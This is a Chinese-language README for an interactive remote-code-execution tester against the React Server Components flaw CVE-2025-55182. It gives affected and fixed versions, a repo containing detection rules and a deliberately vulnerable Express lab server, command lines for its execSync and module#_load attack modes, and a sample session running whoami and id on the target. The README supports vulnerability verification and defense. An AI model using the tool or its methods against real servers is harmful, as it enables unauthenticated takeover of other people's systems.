CVE-2025-55182 React RCE 测试程序
该脚本是一款漏洞验证工具,针对 React 19.x 的 React Server Components (RSC) 中存在的严重远程代码执行(RCE)漏洞 CVE-2025-55182。
本工具可判断真实服务器上是否存在该漏洞,并可根据选项执行命令、记录日志,也可以通过**两阶段 RCE 方式(module#_load)**进行测试。
⚠️ 本工具仅限在封闭的测试环境中用于安全审计及漏洞验证目的。
| 项目 | 内容 |
|---|
| 漏洞编号 | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| 漏洞名称 | React2Shell |
| 漏洞类型 | 远程代码执行(RCE)— 无需认证 |
| 严重性(CVSS) | 10.0(严重) |
| 发现日期 | 2025-11-29(Lachlan Davidson) |
| 攻击难度 | 极低(Log4Shell 级别) |
| 漏洞描述 | 在 Flight 反序列化处理过程中,通过 requireModule() 函数的方括号表示法访问原型链(constructor、__proto__)而产生的结构性 RCE 漏洞 |
| 产品/工具 | 受影响版本 | 已修复版本 |
|---|---|---|
| React.js | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| react-server-dom-webpack | 同上(↑) | 同上 |
| react-server-dom-parcel | 同上(↑) | 同上 |
| react-server-dom-turbopack | 同上(↑) | 同上 |
| Next.js 14 | 14.3.0.canary.77 及以上的部分版本 | (非官方)建议升级至 15.0.5 及以上 |
| Next.js 15 | 15.0.0 ~ 15.5.6 | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 15.6.0 |
| Next.js 16 | 16.0.0 ~ 16.0.6 | 16.0.7 |
| 其他工具 | React Router RSC、RedwoodJS、Vite RSC Plugin、Parcel RSC Plugin 等 | 需修补相应项目的 RSC 依赖 |
✅ 包含 RSC 功能的项目,除 React 外,
react-server-dom-*模块也必须升级到最新版本才能确保安全。
CVE-2025-55182/
├── README.md # 전체 개요 및 스캐너 사용법
├── DETECTION_RULES.md # 탐지/차단용 규칙 모음
├── 설명 및 탐지규칙.md # 한글 탐지 규칙 설명
├── cve_2025_55182_interactive.py # RCE 검증 스캐너 스크립트
├── requirements.txt # 스캐너 의존성 목록
├── setup_vulnerable_env.sh # 취약 환경 일괄 설치 스크립트
├── uninstall_vulnerable_env.sh # 취약 환경 정리/제거 스크립트
└── vulnerable-react-env/ # React2Shell 취약 서버 실습용 코드
├── README.md # 실습 환경 사용법
├── package.json # npm 스크립트 및 의존성
├── server.js # 취약한 Express 백엔드
├── public/
│ └── index.html # CDN 기반 React 프런트엔드
└── .gitignore
✅ 以交互方式测试易受攻击的服务器是否可实现 RCE
✅ 支持 child_process#execSync(默认)或 module#_load 方式
✅ 将命令执行结果保存到日志文件
✅ 将用户直接输入的系统命令发送至服务器
git clone <this-repo>
cd <this-repo>
pip install -r requirements.txt
基本 RCE 测试(execSync 方式)
child_process.execSync() 执行命令python cve_2025_55182_interactive.py http://localhost:3000 --rce两阶段 RCE 测试(module#_load 方式)
module#_load 执行python cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoad基于 RSC 的 RCE 测试(--rce2 选项)
python cve_2025_55182_interactive.py http://localhost:3000 --rce2保存命令执行结果日志
python cve_2025_55182_interactive.py http://localhost:3000 --rce --log rce_output.log使用全部功能(方式 + 日志)
moduleLoad 方式和日志保存python cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoad --log rce_output.log输出载荷调试信息
python cve_2025_55182_interactive.py http://localhost:3000 --rce --debugvulnerable-react-env 文件夹中包含一个可复现 CVE-2025-55182 的故意留有漏洞的 React + Express 服务器。
./setup_vulnerable_env.sh 即可一次性完成 apt 软件包安装 → nvm/Node.js 20 安装 → npm install。cd vulnerable-react-env && npm start 或 npm run dev 启动服务器。npm run 只会列出脚本列表。请务必像 npm start(或 npm run start)那样指定脚本名称。./uninstall_vulnerable_env.sh 移除 node_modules、moduleLoad 载荷以及(可选)Node 20 和 nvm。ERR_MODULE_NOT_FOUND: Cannot find package 'express' 等依赖错误,请先通过 cd vulnerable-react-env && npm install 安装 node_modules,然后重新运行 npm start。sudo apt update && sudo apt install -y curl build-essentialcurl -fsSL https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh -o /tmp/install_nvm.sh && bash /tmp/install_nvm.shnvm install 20 && nvm use 20cd vulnerable-react-env && npm installnpm start(默认端口:3000)http://localhost:3000,通过表单提交 _payload 和 cmdvulnerable-react-env/README.md 中的 curl 示例复现 RCE 流程⚠️ 禁止用于研究/教育以外的用途,请勿暴露到互联网。
💬 请输入系统命令:whoami
✅ 响应代码:200
📄 响应内容:{"success":true,"result":"www-data"}
💬 请输入系统命令:id
✅ 响应代码:200
📄 响应内容:{"success":true,"result":"uid=1000(hacker) gid=1000(hacker)"}
💬 请输入系统命令:exit
👋 正在退出。
❌ 切勿在生产环境中使用。
✅ 此脚本只能在本地测试环境或隔离的 VM 中使用。
🛠️ --method moduleLoad 方式会在 /tmp/evil.js 中创建实际文件。
🧾 使用 --log 选项时,输出结果会以明文保存,请限制文件访问权限。
🔐 所有请求均会验证易受攻击的服务器上是否实际执行了 JavaScript 代码。
官方 CVE:CVE-2025-55182
利用方式:
攻击流程:
本项目仅用于安全研究、审计和测试目的,
未经授权在真实系统上使用属违法行为。
因使用本工具而产生的一切法律责任均由使用者本人承担。